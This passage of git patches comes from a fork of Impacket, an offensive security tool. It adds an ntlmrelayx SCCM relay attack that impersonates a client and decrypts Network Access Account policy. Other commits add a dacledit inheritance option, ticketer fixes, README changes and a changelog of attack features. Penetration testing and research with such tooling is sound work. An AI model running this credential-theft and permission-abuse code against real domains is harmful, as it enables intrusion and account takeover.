Tools.encode_unicode(embedded)).hex().upper() + request = Tools.encode_unicode(SCCMAttack.registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii') + + header = SCCMAttack.msgHeader.format( + bodylength=len(request)-2, + client=name, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + sccmserver=self.config.sccm_server + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data, True) + r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData) + if r != None: + return r[0] + + return None + + def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID): + body = Tools.encode_unicode(SCCMAttack.policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n" + payloadCompressed = zlib.compress(body) + + bodyCompressed = zlib.compress(body) + public_key = CryptoTools.buildMSPublicKeyBlob(self.key) + clientID = f"GUID:{uuid.upper()}" + clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper() + payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper() + + header = SCCMAttack.msgHeaderPolicy.format( + bodylength=len(body)-2, + sccmserver=self.config.sccm_server, + client=name, + publickey=public_key, + clientIDsignature=clientIDSignature, + payloadsignature=payloadSignature, + clientid=uuid, + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + + data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + deflatedData = self.sendCCMPostRequest(data) + result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE) + #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData) + return [result.group(1)] + + def parseEncryptedPolicy(self, result): + # Man.. asn1 suxx! + content, rest = decode(result, asn1Spec=rfc5652.ContentInfo()) + content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) + encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() + iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] + body = content['encryptedContentInfo']['encryptedContent'].asOctets() + + decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body) + policy = decrypted.decode('utf-16') + return policy + + +class Tools: + @staticmethod + def encode_unicode(input): + # Remove the BOM + return input.encode('utf-16')[2:] + + @staticmethod + def write_to_file(input, file): + with open(file, "w") as fd: + fd.write(input) + + +class CryptoTools: + @staticmethod + def createCertificateForKey(key, cname): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, cname), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + key.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.datetime.utcnow() - datetime.timedelta(days=2) + ).not_valid_after( + datetime.datetime.utcnow() + datetime.timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + # SMS Signing Certificate (Self-Signed) + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(key, hashes.SHA256()) + + return cert + + @staticmethod + def generateRSAKey(): + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return key + + @staticmethod + def buildMSPublicKeyBlob(key): + # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little") + return blob.hex().upper() + + # Signs data using SHA256 and then reverses the byte order as per SCCM + @staticmethod + def sign(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + # Same for now, but hints in code that some sigs need to have the hash type removed + @staticmethod + def signNoHash(key, data): + signature = key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + @staticmethod + def decrypt(key, data): + print(key.decrypt(data, PKCS1v15())) + + @staticmethod + def decrypt3Des(key, encryptedKey, iv, data): + desKey = key.decrypt(encryptedKey, PKCS1v15()) + + cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv)) + decryptor = cipher.decryptor() + return decryptor.update(data) + decryptor.finalize() diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py index c2291fd7a..cd453c24c 100644 --- a/impacket/examples/ntlmrelayx/clients/httprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py @@ -97,7 +97,10 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): token = authenticateMessageBlob auth = base64.b64encode(token).decode("ascii") headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)} - self.session.request('GET', self.path,headers=headers) + if self.serverConfig.isSCCMAttack: + self.session.request("CCM_POST", self.path, headers=headers) + else: + self.session.request('GET', self.path,headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 395381d73..10830d285 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -106,6 +106,13 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # SCCM attack options + self.isSCCMAttack = False + self.sccm_device = None + self.sccm_fqdn = None + self.sccm_server = None + self._sccm_sleep = 5 + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -243,6 +250,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials def setAltName(self, altName): self.altName = altName + def setIsSCCMAttack(self, isSCCMAttack): + self.isSCCMAttack = isSCCMAttack + + def setSCCMOptions(self, device, fqdn, server, sleep_time): + self.sccm_device = device + self.sccm_fqdn = fqdn + self.sccm_server = server + self.sccm_sleep = sleep_time + def parse_listening_ports(value): ports = set() for entry in value.split(","): diff --git a/requirements.txt b/requirements.txt index cd19c89ec..559d15b0e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,3 +9,5 @@ ldapdomaindump>=0.9.0 flask>=1.0 pyreadline;sys_platform == 'win32' dsinternals +pyasn1-modules +requests-toolbelt diff --git a/setup.py b/setup.py index fba743fda..35c63cdd9 100644 --- a/setup.py +++ b/setup.py @@ -70,7 +70,8 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals', + 'pyasn1-modules', 'requests-toolbelt'], extras_require={'pyreadline:sys_platform=="win32"': [], }, classifiers=[ From f2531da50150c16ee311ffe19329b48519730b31 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Sat, 19 Nov 2022 19:36:42 +0100 Subject: [PATCH 154/163] Fixing messed up sapphire ticket merge --- examples/ticketer.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index b1c93aa09..e7bc2e489 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1100,8 +1100,7 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') - parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + parser.add_argument('-duration', action="store", default='87600', help='Amount of hours till the ticket expires ' '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From e104967ab05a7ff1cfa60daeec21bcbb5f552430 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Sat, 19 Nov 2022 20:42:41 +0100 Subject: [PATCH 155/163] Revert "Fixing messed up sapphire ticket merge" This reverts commit f2531da50150c16ee311ffe19329b48519730b31. --- examples/ticketer.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index e7bc2e489..b1c93aa09 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1100,7 +1100,8 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-duration', action="store", default='87600', help='Amount of hours till the ticket expires ' + parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From 6b9a5269223e16076c56432558eedabbe799a57d Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Sat, 26 Nov 2022 21:12:56 +0100 Subject: [PATCH 156/163] Update setup.py Adding chardet to requirements for Get-GPPPasswords --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index fba743fda..0fd0a8316 100644 --- a/setup.py +++ b/setup.py @@ -70,7 +70,7 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'chardet', 'dsinternals'], extras_require={'pyreadline:sys_platform=="win32"': [], }, classifiers=[ From f51a1e062e7b11e8a56656257e0a2b0cb9d6d5d3 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 2 Dec 2022 15:51:26 +0100 Subject: [PATCH 157/163] Update setup.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 0fd0a8316..fba743fda 100644 --- a/setup.py +++ b/setup.py @@ -70,7 +70,7 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'chardet', 'dsinternals'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'], extras_require={'pyreadline:sys_platform=="win32"': [], }, classifiers=[ From 1cd1a46765c9d3781879ea8e135cc3d6c2986ee7 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 2 Dec 2022 16:49:44 +0100 Subject: [PATCH 158/163] Update README.md --- README.md | 132 +++++------------------------------------------------- 1 file changed, 10 insertions(+), 122 deletions(-) diff --git a/README.md b/README.md index 98a7a7d00..98d833193 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,12 @@ +> :information_source: This is a fork specifically maintained for [The Exegol Project](https://exegol.rtfd.io/) but it can be used outside of Exegol as well. This is a fork of the official Impacket project at https://github.com/SecureAuthCorp/Impacket. It aims at being a quicker on the merge of pull requests and other community contributions. See this as a bleeding-edge version maintained by lover of Impacket. + +> :warning: keep in mind this fork can be less stable than the official version at times. But we think the community is strong enough to offer fixes when issues rise. We, as maintainers of this fork, will just need to be fast enough to review and merge. + +> :information_source: we are also working on a documentation project at [The Hacker Tools - Impacket](https://tools.thehacker.recipes/impacket). Feel free to contribute as well on the [GitHub repo](https://github.com/ShutdownRepo/The-Hacker-Tools). + Impacket ======== -[![Latest Version](https://img.shields.io/pypi/v/impacket.svg)](https://pypi.python.org/pypi/impacket/) -[![Build and test Impacket](https://github.com/SecureAuthCorp/impacket/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/SecureAuthCorp/impacket/actions/workflows/build_and_test.yml) - SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. Impacket is a collection of Python classes for working with network @@ -15,105 +18,15 @@ raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library. -A description of some of the tools can be found at -[SecureAuth Labs' Open Source Website](https://www.secureauth.com/labs/open-source-tools/impacket). - - -What protocols are featured? ----------------------------- - - * Ethernet, Linux "Cooked" capture. - * IP, TCP, UDP, ICMP, IGMP, ARP. - * IPv4 and IPv6 Support. - * NMB and SMB1, SMB2 and SMB3 (high-level implementations). - * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP. - * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys. - * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI. - * Portions of TDS (MSSQL) and LDAP protocol implementations. - -Maintainer -========== - -[](https://www.secureauth.com/) - - -Table of Contents -================= - -* [Getting Impacket](#getting-impacket) -* [Setup](#setup) -* [Testing](#testing) -* [Licensing](#licensing) -* [Disclaimer](#disclaimer) -* [Contact Us](#contact-us) - -Getting Impacket -================ - -### Latest version - -* Impacket v0.10.0 - - [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/) - -[Current and past releases](https://github.com/SecureAuthCorp/impacket/releases) - -### Development version - -* Impacket v0.10.1-dev (**[master branch](https://github.com/SecureAuthCorp/impacket/tree/master)**) - - [![Python versions](https://img.shields.io/badge/python-3.6%20|%203.7%20|%203.8%20|%203.9-blue.svg)](https://github.com/SecureAuthCorp/impacket/tree/master) - - Setup ===== ### Quick start -In order to grab the latest stable release with `pip` run: - - python3 -m pip install impacket - -> :information_source: This will make the Impacket library available to -your Python code, but will not provide you with the example scripts. - -### Installing the library + example scripts - -In order to install the library and the example scripts, download and -extract the package, and execute the following command from the -directory where the Impacket's release has been unpacked: - - python3 -m pip install . - -> :information_source: This will install the library into the default Python -modules path, where you can make use of the example scripts from the directory. - -> :warning: Make sure the example scripts you're using are consistent with the -library version that's installed in your python environment. -We recommend using [virtual environments](https://docs.python.org/3/library/venv.html) to -make sure system-wide installations doesn't interfere with it. - - -### Docker Support - -Build Impacket's image: - - $ docker build -t "impacket:latest" . - -Using Impacket's image: - - $ docker run -it --rm "impacket:latest" - -Testing -======= - -The library leverages the [pytest](https://docs.pytest.org/) framework for organizing -and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of -running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) -to obtain coverage statistics. - -A [comprehensive testing guide](TESTING.md) is available. - +``` +git clone https://github.com/ThePorgs/impacket +pipx install /path/to/impacket +``` Licensing ========= @@ -123,28 +36,3 @@ the Apache Software License. See the accompanying [LICENSE](LICENSE) file for more information. SMBv1 and NetBIOS support based on Pysmb by Michael Teo. - -Disclaimer -========== - -The spirit of this Open Source initiative is to help security researchers, -and the community, speed up research and educational activities related to -the implementation of networking protocols and stacks. - -The information in this repository is for research and educational purposes -and not meant to be used in production environments and/or as part -of commercial products. - -If you desire to use this code or some part of it for your own uses, we -recommend applying proper security development life cycle and secure coding -practices, as well as generate and track the respective indicators of -compromise according to your needs. - - -Contact Us -========== - -Whether you want to report a bug, send a patch, or give some suggestions -on this package, drop us a few lines at oss@secureauth.com. - -For security-related questions check our [security policy](SECURITY.md). From e49e440958de0431128818414da1fcc45fbbaf67 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 2 Dec 2022 16:52:29 +0100 Subject: [PATCH 159/163] Update version.py --- impacket/version.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/version.py b/impacket/version.py index 08e836e03..35c54cf40 100644 --- a/impacket/version.py +++ b/impacket/version.py @@ -17,7 +17,7 @@ version = "?" print("Cannot determine Impacket version. " "If running from source you should at least run \"python setup.py egg_info\"") -BANNER = "Impacket v{} - Copyright 2022 SecureAuth Corporation\n".format(version) +BANNER = "Impacket for Exegol - v{} - Copyright 2022 SecureAuth Corporation - forked by ThePorgs\n".format(version) def getInstallationPath(): return 'Impacket Library Installation Path: {}'.format(__path__[0]) From d6998ac80416a7a4a4d68ee18ee8229e8454d00a Mon Sep 17 00:00:00 2001 From: BlWasp Date: Thu, 15 Dec 2022 17:31:10 +0000 Subject: [PATCH 160/163] Add the possibility to specify inheritance in the ACE flag --- examples/dacledit.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 688c7c4a5..51144f7a3 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -239,6 +239,7 @@ def __init__(self, ldap_server, ldap_session, args): self.rights = args.rights self.rights_guid = args.rights_guid self.filename = args.filename + self.inheritance = args.inheritance logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() @@ -634,7 +635,10 @@ def create_ace(self, access_mask, sid, ace_type): else: nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE acedata = ldaptypes.ACCESS_DENIED_ACE() - nace['AceFlags'] = 0x00 + if self.inheritance: + nace['AceFlags'] = 0x03 + else: + nace['AceFlags'] = 0x00 acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = access_mask acedata['Sid'] = ldaptypes.LDAP_SID() @@ -658,7 +662,10 @@ def create_object_ace(self, privguid, sid, ace_type): else: nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() - nace['AceFlags'] = 0x00 + if self.inheritance: + nace['AceFlags'] = 0x03 + else: + nace['AceFlags'] = 0x00 acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS acedata['ObjectType'] = string_to_bin(privguid) @@ -705,6 +712,7 @@ def parse_args(): dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') + dacl_parser.add_argument('-inheritance', action="store_true", help='Enable the inheritance in the ACE flag with CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE. Useful when target is a Container or an OU.') if len(sys.argv) == 1: parser.print_help() From db611e53cead8542d059d9477fb6316dd57dd49c Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 15 Dec 2022 20:14:11 +0100 Subject: [PATCH 161/163] Explicitly indicating flags instead of hardcoded value --- examples/dacledit.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 51144f7a3..edfbf3d57 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -636,7 +636,7 @@ def create_ace(self, access_mask, sid, ace_type): nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE acedata = ldaptypes.ACCESS_DENIED_ACE() if self.inheritance: - nace['AceFlags'] = 0x03 + nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE else: nace['AceFlags'] = 0x00 acedata['Mask'] = ldaptypes.ACCESS_MASK() @@ -663,7 +663,7 @@ def create_object_ace(self, privguid, sid, ace_type): nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() if self.inheritance: - nace['AceFlags'] = 0x03 + nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE else: nace['AceFlags'] = 0x00 acedata['Mask'] = ldaptypes.ACCESS_MASK() From 204c5b6b73f4d44bce0243a8f345f00e308c9c20 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 16 Dec 2022 15:00:32 +0100 Subject: [PATCH 162/163] adding log: adminCount=1 will prevent ACE inheritance --- examples/dacledit.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index edfbf3d57..45bef3a45 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -240,6 +240,8 @@ def __init__(self, ldap_server, ldap_session, args): self.rights_guid = args.rights_guid self.filename = args.filename self.inheritance = args.inheritance + if self.inheritance: + logging.info("NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU") logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() @@ -712,7 +714,8 @@ def parse_args(): dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') - dacl_parser.add_argument('-inheritance', action="store_true", help='Enable the inheritance in the ACE flag with CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE. Useful when target is a Container or an OU.') + dacl_parser.add_argument('-inheritance', action="store_true", help='Enable the inheritance in the ACE flag with CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE. Useful when target is a Container or an OU, ' + 'ACE will be inherited by objects within the container/OU (except objects with adminCount=1)') if len(sys.argv) == 1: parser.print_help() From 9dbad3b0984b62a3b3619a1872d005686cb85ae3 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Mon, 16 Jan 2023 12:09:47 +0100 Subject: [PATCH 163/163] Adding ThePorgs edits changelog --- ChangeLog.md | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/ChangeLog.md b/ChangeLog.md index e781c281b..a4be58936 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -5,6 +5,41 @@ Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master +## ThePorgs edits: +* [1135](https://github.com/fortra/impacket/pull/1135): **[GetUserSPNs]** Improved searchFilter for GetUserSPNs +* [1137](https://github.com/fortra/impacket/pull/1137): **[SystemDPAPIdump]** Added script example +* [1154](https://github.com/fortra/impacket/pull/1154): **[ntlmrelayx]** Unfiltered SID query when operating ACL attack +* [1184](https://github.com/fortra/impacket/pull/1184): **[findDelegation]** Added user filter on findDelegation +* [1201](https://github.com/fortra/impacket/pull/1201): **[describeTicket]** Added describeTicket +* [1202](https://github.com/fortra/impacket/pull/1202): **[getST]** Added -self, -altservice and -u2u to getST for S4U2self abuse, S4U2self+u2u, and service substitution +* [1224](https://github.com/fortra/impacket/pull/1224): **[renameMachine]** Added renameMachine +* [1253](https://github.com/fortra/impacket/pull/1253): **[ntlmrelayx]** Added LSA dump on top of SAM dump for ntlmrelayx +* [1256](https://github.com/fortra/impacket/pull/1256): **[tgssub]** Added tgssub script for service substitution +* [1267](https://github.com/fortra/impacket/pull/1267): **[Get-GPPPasswords]** Better handling of various XML files in Group Policy Preferences +* [1270](https://github.com/fortra/impacket/pull/1270): **[ticketer]** Fix ticketer duration to support default 10 hours tickets +* [1280](https://github.com/fortra/impacket/pull/1280): **[machineAccountQuota]** added machineAccountQuota +* [1288](https://github.com/fortra/impacket/pull/1288): **[ntlmrelayx]** LDAP attack: bypass computer creation restrictions with CVE-2021-34470 +* [1289](https://github.com/fortra/impacket/pull/1289): **[ntlmrelayx]** LDAP attack: Add DNS records through LDAP +* [1291](https://github.com/fortra/impacket/pull/1291): **[dacledit]** New example script for DACL manipulation +* [1318](https://github.com/fortra/impacket/pull/1318): **[ntlmrelayx]** Dump ADCS: bug fixes +* [1323](https://github.com/fortra/impacket/pull/1323): **[owneredit]** New example script to change an object's owner +* [1329](https://github.com/fortra/impacket/pull/1329): **[secretsdump]** Use a custom LDAP filter during a DCSync +* [1353](https://github.com/fortra/impacket/pull/1353): **[ntlmrelayx]** add filter option +* [1360](https://github.com/fortra/impacket/pull/1360): **[smbserver]** Added flag to drop SSP from Net-NTLMv1 auth +* [1367](https://github.com/fortra/impacket/pull/1367): **[secretsdump]** Add UTC date to cached domain logon information +* [1391](https://github.com/fortra/impacket/pull/1391): **[ticketer]** Ticketer extra-pac implementation +* [1393](https://github.com/fortra/impacket/pull/1393): **[rbcd]** Handled SID not found in LDAP error +* [1397](https://github.com/fortra/impacket/pull/1397): **[mssqlclient]** commands and prompt improvements +* [1411](https://github.com/fortra/impacket/pull/1411): **[ticketer]** Sapphire tickets +* [1413](https://github.com/fortra/impacket/pull/1413): **[getST]** Support for Kerberoasting without pre-authentication and ST request through AS-REQ +* [1421](https://github.com/fortra/impacket/pull/1421): **[ntlmrelayx]** Fix leftover space in shadow credentials argument +* [1425](https://github.com/fortra/impacket/pull/1425): **[ntlmrelayx]** Add SCCM NTLM Relay Attack +* [1432](https://github.com/fortra/impacket/pull/1432): **[httprelayclient]** force NTLM auth if anonymous auth is enabled (ADCS) +* [1444](https://github.com/fortra/impacket/pull/1444): **[Get-GPPPassword]** Better handling of various XML files in Group Policy Preferences +* [1449](https://github.com/fortra/impacket/pull/1449): **[addcomputer,rbcd]** Allow weak TLS ciphers for LDAP connections +* [1450](https://github.com/fortra/impacket/pull/1450): **[PsExec]** Support for name customization using a custom binary file + + ## Impacket v0.10.0 (May 2022): 1. Library improvements